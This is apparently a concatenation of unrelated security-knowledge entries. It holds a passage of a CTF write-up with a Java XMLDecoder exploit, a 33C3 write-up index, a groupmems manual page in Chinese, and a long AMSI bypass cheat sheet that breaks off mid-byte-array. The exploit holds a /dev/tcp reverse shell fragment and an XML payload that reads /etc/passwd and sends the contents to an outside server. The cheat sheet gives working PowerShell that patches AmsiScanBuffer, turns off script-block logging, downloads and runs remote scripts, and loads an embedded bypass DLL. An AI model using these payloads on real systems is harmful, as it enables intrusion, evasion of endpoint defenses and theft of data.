/dev/tcp/1.2.3.4/1234 0>&1"); p.close(); ``` creating a file on the server with given contents. We can also assign "id" to the objects and then use them as parameters of other objects: ```xml <void class="java.lang.String" id="someString"> <string>some data</string> </void> <object class = "java.io.PrintWriter"> <string>reverse.sh</string> <method name = "write"> <object idref="someString"/> </method> <method name = "close"/> </object> ``` With such capability we created an exploit which lets us execute any code on target machine, and the results are send with http GET request to our server: ```xml <?xml version="1.0" encoding="UTF-8"?> <java version="1.8.0_72-internal" class="java.beans.XMLDecoder"> <void class="java.lang.String" id="command" method="valueOf"> <object class="java.lang.StringBuilder" id="builder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="2"> <void index="0"> <string>cat</string> </void> <void index="1"> <string>/etc/passwd</string> </void> </array> <void method="start" id="process"> <void method="getInputStream" id="stream" /> </void> <void class="java.io.BufferedReader" id="bufferedReader"> <object class="java.io.InputStreamReader"> <object idref="stream"/> </object> <void method="lines" id="lines"> <void method="collect" id="collected"> <object class="java.util.stream.Collectors" method="joining"> <string> </string> </object> </void> </void> </void> </void> <void method="append"> <string>http://our.server.net/exp/</string> </void> <void method="append"> <object idref="collected"/> </void> </object> </void> <object class="java.net.URL"> <object idref="command"/> <void method="openStream"/> </object> </java> ``` With this we could use `find` command to look for `flag` file and then print it using `cat` and get `flag{ser1l1azati0n_in_CTF_is_fUN}`
sec-knowleage
# Writeup 33C3 CTF 2016 Team: akrasuski1, c7f.m0d3, cr019283, msm, nazywam, ppr, psrok, rev, shalom ![rank](rank.png) ### Table of contents * [YOSO (web 250)](web_250_yoso) * [Pay2Win (web 200)](web_200_pay2win) * [list0r (web 400)](web_400_list0r) * [try (web 150)](web_150_try)
sec-knowleage
groupmems === 管理用户主要组的成员 ## 补充说明 `groupmems` 命令允许用户管理他/她自己的组成员列表,而不需要超级用户权限。`groupmems` 实用程序适用于将其用户配置为以他们自己的名义主组(即来宾/来宾)的系统。 只有作为管理员的超级用户可以使用 `groupmems` 来更改其他组的成员资格。 ### 语法 ```shell groupmems -a user_name | -d 用户名 | [-g 用户组名] | -l | -p ``` ### 选项 ```bash -a, --add user_name # 将用户添加到组成员列表。如果 /etc/gshadow 文件存在,并且该组在 /etc/gshadow 文件中没有条目,则将创建一个新条目。 -d, --delete user_name # 从组成员列表中删除用户。 # 如果 /etc/gshadow 文件存在,用户将从组的成员和管理员列表中删除。 # 如果 /etc/gshadow 文件存在,并且该组在 /etc/gshadow 文件中没有条目,则将创建一个新条目。 -g, --group group_name # 超级用户可以指定要修改的组成员列表。 -l, --list # 列出组成员列表。 -p, --purge # 从组成员列表中清除所有用户。 # 如果 /etc/gshadow 文件存在,并且该组在 /etc/gshadow 文件中没有条目,则将创建一个新条目。 ``` ## 配置 `/etc/login.defs` 中的以下配置变量会更改此工具的行为: ```shell MAX_MEMBERS_PER_GROUP (number) ``` 每个组条目的最大成员数。 当达到最大值时,在 `/etc/group` 中启动一个新的组条目(行)(具有相同的名称、相同的密码和相同的 GID)。 默认值为 0,表示组中的成员数量没有限制。 此功能(拆分组)允许限制组文件中的行长度。 这有助于确保 NIS 组的行不超过 1024 个字符。 如果你需要强制执行这样的限制,你可以使用 25。 注意:并非所有工具都支持拆分组(即使在 Shadow 工具包中)。 除非你真的需要它,否则你不应该使用这个变量。 ## 例子 groupmems 可执行文件应该在模式 2770 中作为用户 root 和组组。 系统管理员可以将用户添加到组中,以允许或禁止他们使用 groupmems 实用程序来管理他们自己的组成员列表。 ```shell groupadd -r groups chmod 2770 groupmems chown root.groups groupmems groupmems -g groups -a gk4 ``` 让我们创建一个新用户和一个新组并验证结果: ```shell useradd student passwd student groupadd staff ``` 使用户 student 成为组人员的成员: ```shell groupmems -g staff -a student groupmems -g staff -l ``` 将用户添加到组: ```shell groupmems -a mike -g SUPPORT groupmems --add mike -g SUPPORT ``` 从组中删除/移除用户: ```shell groupmems -d mike SUPPORT -g SUPPORT groupmems --delete mike SUPPORT -g SUPPORT ``` 更改组名称: ```shell groupmems -g SUPPORT ``` 从组中删除用户: ```shell groupmems -p -g SUPPORT groupmems --purge -g SUPPORT ``` 要列出组的成员: ```shell groupmems -l -g SUPPORT groupmems --list -g SUPPORT ```
sec-knowleage
# AMSI Bypass ## Summary * [List AMSI Providers](#list-amsi-providers) * [Which Endpoint Protection is Using AMSI](#which-endpoint-protection-is-using-amsi) * [Patching amsi.dll AmsiScanBuffer by rasta-mouse](#Patching-amsi.dll-AmsiScanBuffer-by-rasta-mouse) * [Dont use net webclient](#Dont-use-net-webclient) * [Amsi ScanBuffer Patch from -> https://www.contextis.com/de/blog/amsi-bypass](#Amsi-ScanBuffer-Patch) * [Forcing an error](#Forcing-an-error) * [Disable Script Logging](#Disable-Script-Logging) * [Amsi Buffer Patch - In memory](#Amsi-Buffer-Patch---In-memory) * [Same as 6 but integer Bytes instead of Base64](#Same-as-6-but-integer-Bytes-instead-of-Base64) * [Using Matt Graeber's Reflection method](#Using-Matt-Graebers-Reflection-method) * [Using Matt Graeber's Reflection method with WMF5 autologging bypass](#Using-Matt-Graebers-Reflection-method-with-WMF5-autologging-bypass) * [Using Matt Graeber's second Reflection method](#Using-Matt-Graebers-second-Reflection-method) * [Using Cornelis de Plaa's DLL hijack method](#Using-Cornelis-de-Plaas-DLL-hijack-method") * [Use Powershell Version 2 - No AMSI Support there](#Using-PowerShell-version-2) * [Nishang all in one](#Nishang-all-in-one) * [Adam Chesters Patch](#Adam-Chester-Patch) * [AMSI.fail](#amsifail) ## List AMSI Providers * List providers with : `Get-ChildItem -Path 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers\'` * Find software from CLSID ```ps1 Get-ChildItem -Path 'HKLM:\SOFTWARE\Classes\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}' Name Property ---- -------- Hosts (default) : Scanned Hosting Applications InprocServer32 (default) : "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2210.4-0\MpOav.dll" ``` ## Which Endpoint Protection is Using AMSI Small extract from [subat0mik/whoamsi](https://github.com/subat0mik/whoamsi) - An effort to track security vendors' use of Microsoft's Antimalware Scan Interface: | Vendor/Product | AMSI | Date | Reference | | -------- | -------- | -------- | -------- | | Avast | Y | 03/20/2016 | https://forum.avast.com/index.php?topic=184491.msg1300884#msg1300884 | | AVG | Y | 03/08/2016 | https://support.avg.com/answers?id=906b00000008oUTAAY | | BitDefender Consumer | Y | 09/20/2016 | https://forum.bitdefender.com/index.php?/topic/72455-antimalware-scan-service/ | | BitDefender Enterprise | Y | 05/25/2021 | https://twitter.com/Bitdefender_Ent/status/1397187195669295111?s=20 | | Kaspersky Anti Targeted Attack Platform | Y | 10/10/2018 | https://help.kaspersky.com/KIS/2019/en-US/119653.htm | | Symantec Advanced Threat Protection | Y | 07/15/2020 | https://techdocs.broadcom.com/content/broadcom/techdocs/us/en/symantec-security-software/endpoint-security-and-management/endpoint-protection/all/release-notes/Whats-new-for-Symantec-Endpoint-Protection-14_3-.html | | Microsoft Defender for Endpoint | Y | 06/09/2015 | https://www.microsoft.com/security/blog/2015/06/09/windows-10-to-offer-application-developers-new-malware-defenses/ # Patching amsi.dll AmsiScanBuffer by rasta-mouse ```ps1 $Win32 = @" using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); } "@ Add-Type $Win32 $LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll") $Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer") $p = 0 [Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p) $Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3) [System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6) ``` ## Dont use net webclient > Not Working anymore, there was a patch for it ```ps1 $webreq = [System.Net.WebRequest]::Create(‘https://maliciousscripturl/malicious.ps1’) $resp=$webreq.GetResponse() $respstream=$resp.GetResponseStream() $reader=[System.IO.StreamReader]::new($respstream) $content=$reader.ReadToEnd() IEX($content) ``` ## The Short version of dont use powershell net webclient > Not Working anymore, there was a patch for it ```ps1 IEX([Net.Webclient]::new().DownloadString("https://maliciousscripturl/malicious.ps1")) ``` # Amsi ScanBuffer Patch Egghunter with blog post: https://www.contextis.com/us/blog/amsi-bypass ```ps1 Write-Host "-- AMSI Patch" Write-Host "-- Paul Laîné (@am0nsec)" Write-Host "" $Kernel32 = @" using System; using System.Runtime.InteropServices; public class Kernel32 { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string lpLibFileName); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); } "@ Add-Type $Kernel32 Class Hunter { static [IntPtr] FindAddress([IntPtr]$address, [byte[]]$egg) { while ($true) { [int]$count = 0 while ($true) { [IntPtr]$address = [IntPtr]::Add($address, 1) If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) { $count++ If ($count -eq $egg.Length) { return [IntPtr]::Subtract($address, $egg.Length - 1) } } Else { break } } } return $address } } [IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll") Write-Host "[+] AMSI DLL Handle: $hModule" [IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow") Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress" If ([IntPtr]::Size -eq 8) { Write-Host "[+] 64-bits process" [byte[]]$egg = [byte[]] ( 0x4C, 0x8B, 0xDC, # mov r11,rsp 0x49, 0x89, 0x5B, 0x08, # mov qword ptr [r11+8],rbx 0x49, 0x89, 0x6B, 0x10, # mov qword ptr [r11+10h],rbp 0x49, 0x89, 0x73, 0x18, # mov qword ptr [r11+18h],rsi 0x57, # push rdi 0x41, 0x56, # push r14 0x41, 0x57, # push r15 0x48, 0x83, 0xEC, 0x70 # sub rsp,70h ) } Else { Write-Host "[+] 32-bits process" [byte[]]$egg = [byte[]] ( 0x8B, 0xFF, # mov edi,edi 0x55, # push ebp 0x8B, 0xEC, # mov ebp,esp 0x83, 0xEC, 0x18, # sub esp,18h 0x53, # push ebx 0x56 # push esi ) } [IntPtr]$targetedAddress = [Hunter]::FindAddress($dllCanUnloadNowAddress, $egg) Write-Host "[+] Targeted address: $targetedAddress" $oldProtectionBuffer = 0 [Kernel32]::VirtualProtect($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null $patch = [byte[]] ( 0x31, 0xC0, # xor rax, rax 0xC3 # ret ) [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3) $a = 0 [Kernel32]::VirtualProtect($targetedAddress, [uint32]2, $oldProtectionBuffer, [ref]$a) | Out-Null ``` # Forcing an error ```ps1 $mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076) [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null, $null);[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem) ``` # Disable Script Logging ```ps1 $settings = [Ref].Assembly.GetType("System.Management.Automation.Utils").GetField("cachedGroupPolicySettings","NonPublic,Static").GetValue($null); $settings["HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"] = @{} $settings["HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"].Add("EnableScriptBlockLogging", "0") ``` ```ps1 [Ref].Assembly.GetType("System.Management.Automation.ScriptBlock").GetField("signatures","NonPublic,static").SetValue($null, (New-Object 'System.Collections.Generic.HashSet[string]')) ``` # Amsi Buffer Patch - In memory ```ps1 function Bypass-AMSI { if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) { [Reflection.Assembly]::Load([Convert]::FromBase64String("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YXJkAERpc2FibGUAUnVudGltZUZpZWxkSGFuZGxlAENvbnNvbGUAaE1vZHVsZQBwcm9jTmFtZQBuYW1lAFdyaXRlTGluZQBWYWx1ZVR5cGUAQ29tcGlsZXJHZW5lcmF0ZWRBdHRyaWJ1dGUARGVidWdnYWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAFRhcmdldEZyYW1ld29ya0F0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmlidXRlAEFzc2VtYmx5SW5mb3JtYXRpb25hbFZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBCeXRlAGR3U2l6ZQBzaXplAFN5c3RlbS5SdW50aW1lLlZlcnNpb25pbmcAQWxsb2NIR2xvYmFsAE1hcnNoYWwAS2VybmVsMzIuZGxsAEFtc2lCeXBhc3MuZGxsAFN5c3RlbQBTeXN0ZW0uUmVmbGVjdGlvbgBvcF9BZGRpdGlvbgBaZXJvAC5jdG9yAFVJbnRQdHIAU3lzdGVtLkRpYWdub3N0aWNzAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAERlYnVnZ2luZ01vZGVzAFJ1bnRpbWVIZWxwZXJzAEFtc2lCeXBhc3MAR2V0UHJvY0FkZHJlc3MAbHBBZGRyZXNzAE9iamVjdABscGZsT2xkUHJvdGVjdABWaXJ0dWFsUHJvdGVjdABmbE5ld1Byb3RlY3QAb3BfRXhwbGljaXQAZGVzdABJbml0aWFsaXplQXJyYXkAQ29weQBMb2FkTGlicmFyeQBSdGxNb3ZlTWVtb3J5AG9wX0VxdWFsaXR5AAARYQBtAHMAaQAuAGQAbABsAABXRQBSAFIATwBSADoAIABDAG8AdQBsAGQAIABuAG8AdAAgAHIAZQB0AHIAaQBlAHYAZQAgAGEAbQBzAGkALgBkAGwAbAAgAHAAbwBpAG4AdABlAHIALgAAHUEAbQBzAGkAUwBjAGEAbgBCAHUAZgBmAGUAcgAAc0UAUgBSAE8AUgA6ACAAQwBvAHUAbABkACAAbgBvAHQAIAByAGUAdAByAGkAZQB2AGUAIABBAG0AcwBpAFMAYwBhAG4AQgB1AGYAZgBlAHIAIABmAHUAbgBjAHQAaQBvAG4AIABwAG8AaQBuAHQAZQByAAB1RQBSAFIATwBSADoAIABDAG8AdQBsAGQAIABuAG8AdAAgAGMAaABhAG4AZwBlACAAQQBtAHMAaQBTAGMAYQBuAEIAdQBmAGYAZQByACAAbQBlAG0AbwByAHkAIABwAGUAcgBtAGkAcwBzAGkAbwBuAHMAIQAAU0cAcgBlAGEAdAAgAHMAdQBjAGMAZQBzAHMALgAgAEEAbQBzAGkAUwBjAGEAbgBCAHUAZgBmAGUAcgAgAHAAYQB0AGMAaABlAGQAIQAgADoAKQAAALj1zdc1kW1DrpRSfqgqDIUABCABAQgDIAABBSABARERBCABAQ4NBwoYGBkJHQUYAggCAgIGGAUAAgIYGAQAAQEOBAABGQsHAAIBElERVQQAARgICAAEAR0FCBgIBQACGBgICMx7E//NLd1RAwYREAUAAhgYDgQAARgOCAAEAhgZCRAJBgADARgYCAMAAAgIAQAIAAAAAAAeAQABAFQCFldyYXBOb25FeGNlcHRpb25UaHJvd3MBCAEABwEAAAAANgEAGS5ORVRTdGFuZGFyZCxWZXJzaW9uPXYyLjABAFQOFEZyYW1ld29ya0Rpc3BsYXlOYW1lAA8BAApBbXNpQnlwYXNzAAAKAQAFRGVidWcAAAwBAAcxLjAuMC4wAAAKAQAFMS4wLjAAAAQBAAAAAAAAAAAAOsRk5QABTVACAAAAZAAAAHwrAAB8DQAAAAAAAAAAAAABAAAAEwAAACcAAADgKwAA4A0AAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAABSU0RTjA86n5+khUmILRfMmrpC/wEAAAAvb3B0L1Byb2plY3RzL0Ftc2lCeXBhc3MvQW1zaUJ5cGFzcy9vYmovRGVidWcvbmV0c3RhbmRhcmQyLjAvQW1zaUJ5cGFzcy5wZGIAU0hBMjU2AIwPOp+fpIWJyC0XzJq6Qv86xGTlbSfIKidw8ohPKRL4LywAAAAAAAAAAAAASSwAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAADssAAAAAAAAAAAAAAAAX0NvckRsbE1haW4AbXNjb3JlZS5kbGwAAAAAAAD/JQAgABAx/5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAQAAAAGAAAgAAAAAAAAAAAAAAAAAAAAQABAAAAMAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAASAAAAFhAAADUAgAAAAAAAAAAAADUAjQAAABWAFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQAAAAEAAAAAAAAAAQAAAAAAPwAAAAAAAAAEAAAAAgAAAAAAAAAAAAAAAAAAAEQAAAABAFYAYQByAEYAaQBsAGUASQBuAGYAbwAAAAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAAALAENAIAAAEAUwB0AHIAaQBuAGcARgBpAGwAZQBJAG4AZgBvAAAAEAIAAAEAMAAwADAAMAAwADQAYgAwAAAANgALAAEAQwBvAG0AcABhAG4AeQBOAGEAbQBlAAAAAABBAG0AcwBpAEIAeQBwAGEAcwBzAAAAAAA+AAsAAQBGAGkAbABlAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAAAAAAQQBtAHMAaQBCAHkAcABhAHMAcwAAAAAAMAAIAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAAxAC4AMAAuADAALgAwAAAAPgAPAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABBAG0AcwBpAEIAeQBwAGEAcwBzAC4AZABsAGwAAAAAACgAAgABAEwAZQBnAGEAbABDAG8AcAB5AHIAaQBnAGgAdAAAACAAAABGAA8AAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAAQQBtAHMAaQBCAHkAcABhAHMAcwAuAGQAbABsAAAAAAA2AAsAAQBQAHIAbwBkAHUAYwB0AE4AYQBtAGUAAAAAAEEAbQBzAGkAQgB5AHAAYQBzAHMAAAAAADAABgABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADEALgAwAC4AMAAAADgACAABAEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAHMAaQBvAG4AAAAxAC4AMAAuADAALgAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAADAAAAFw8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==")) | Out-Null Write-Output "DLL has been reflected"; } [Bypass.AMSI]::Patch() } ``` # Same as 6 but integer Bytes instead of Base64 ```ps1 function MyPatch{ if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) { [Reflection.Assembly]::Load([byte[]]@(77, 90, 144, 0, 3, 0, 0, 0, 4, 0, 0, 0, 255, 255, 0, 0, 184, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 128, 0, 0, 0, 14, 31, 186, 14, 0, 180, 9, 205, 33, 184, 1, 76, 205, 33, 84, 104, 105, 115, 32, 112, 114, 111, 103, 114, 97, 109, 32, 99, 97, 110, 110, 111, 116, 32, 98, 101, 32, 114, 117, 110, 32, 105, 110, 32, 68, 79, 83, 32, 109, 111, 100, 101, 46, 13, 13, 10, 36, 0, 0, 0, 0, 0, 0, 0, 80, 69, 0, 0, 76, 1, 3, 0, 27, 37, 18, 183, 0, 0, 0, 0, 0, 0, 0, 0, 224, 0, 34, 32, 11, 1, 48, 0, 0, 14, 0, 0, 0, 6, 0, 0, 0, 0, 0, 0, 94, 44, 0, 0, 0, 32, 0, 0, 0, 64, 0, 0, 0, 0, 0, 16, 0, 32, 0, 0, 0, 2, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 128, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 3, 0, 64, 133, 0, 0, 16, 0, 0, 16, 0, 0, 0, 0, 16, 0, 0, 16, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 11, 44, 0, 0, 79, 0, 0, 0, 0, 64, 0, 0, 48, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 96, 0, 0, 12, 0, 0, 0, 44, 43, 0, 0, 84, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 8, 32, 0, 0, 72, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 46, 116, 101, 120, 116, 0, 0, 0, 108, 12, 0, 0, 0, 32, 0, 0, 0, 14, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 96, 46, 114, 115, 114, 99, 0, 0, 0, 48, 3, 0, 0, 0, 64, 0, 0, 0, 4, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 64, 46, 114, 101, 108, 111, 99, 0, 0, 12, 0, 0, 0, 0, 96, 0, 0, 0, 2, 0, 0, 0, 20, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 